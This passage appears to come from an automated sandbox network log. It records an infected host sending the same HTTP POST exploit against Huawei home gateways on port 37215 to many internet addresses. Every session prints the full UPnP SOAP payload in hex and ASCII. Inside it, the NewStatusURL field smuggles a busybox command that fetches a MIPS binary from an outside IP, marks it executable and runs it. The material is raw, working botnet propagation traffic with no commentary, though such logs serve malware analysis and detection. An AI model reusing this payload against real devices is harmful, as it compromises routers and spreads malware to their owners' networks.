2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.23	58096	156.112.166.96	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253587008 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.23	46024	156.8.32.149	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253619909 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.23	55562	156.207.94.97	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253660917 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.23	37980	197.18.253.163	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253703117 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.23	59608	156.3.243.152	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253731966 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.23	52106	156.93.240.94	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253777027 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.23	50112	41.14.133.63	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253834963 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.23	42030	197.154.217.12	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253854036 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
249	192.168.2.23	45198	156.145.248.27	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253905058 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.23	36686	197.78.230.78	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.253940105 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.23	33038	41.208.140.239	37215

Timestamp	Bytes transferred	Direction	Data
